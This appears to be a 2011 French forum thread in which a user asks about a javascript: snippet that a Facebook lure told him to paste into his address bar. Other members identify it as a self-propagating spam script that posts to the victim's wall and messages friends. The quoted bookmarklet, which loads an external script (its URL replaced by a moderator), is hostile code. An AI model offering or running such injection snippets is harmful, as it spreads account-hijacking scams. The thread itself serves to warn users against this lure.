Code JavaScript douteux.

[softice]

bonjour,

 

facebook m'invite à entrer ce code:

 

javascript:(function(){_ccscr=document.createElement('SCRIPT');_ccscr.type='text/javascript';_ccscr.src='http://127.0.0.1/fas.php?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();

 

 

directement dans ma barre d'adresse afin d'installer le plugin firefox ifamebook qui permet de dénombré combien de personne visite votre profil facebook.

 

 

j'ai relativement confiance en le plugin (disponible sur les page plugin de firefox), par contre ce code me semble inutile donc potentiellement dangereux. qq'un connaissant le javascript peut-il me donner son avis?

 

 

merci.

Modifié le 16 mai 2011 par KewlCat
Suppression de la vraie URL du script

[Dylav]

Bonsoir Softice,

 

Tu as raison de t'inquiéter d'un morceau de code que tu ne comprends pas. Mais pourquoi t'en préoccuper, à partir du moment où tu peux installer le plugin par la procédure habituelle ?

 

 

 

[KewlCat]

Oublie tout de suite ce code, c'est une vraie saloperie.

Ce truc charge un script qui poste sur ton mur "Bonjour! Je viens de decouvrir qui ont consulte mon profil aujourd hui! (.. l'URL du truc ...)", envoie à tous tes amis connectés au chat un message similaire, te rend fan d'une page qui sûrement contient les mêmes conneries ("qui consulte ton profil Facebook"), etc. etc.

 

De manière générale, il faut éviter de tomber dans ces pièges grossiers (qui te bloque sur MSN, qui consulte ton profil Facebook, est-ce que ton ex va revenir, à quel âge tu vas avoir des bébés, ....), c'est le meilleur moyen de se faire pourrir d'encore plus de spam et de passer pour un pur boulet auprès de tout son entourage !

 

Si tu veux un plugin pour Firefox, l'unique URL où tu dois faire une recherche est https://addons.mozilla.org

 

-- edit --

Pour info : Le Monde - Il est impossible de savoir qui a consulté votre profil Facebook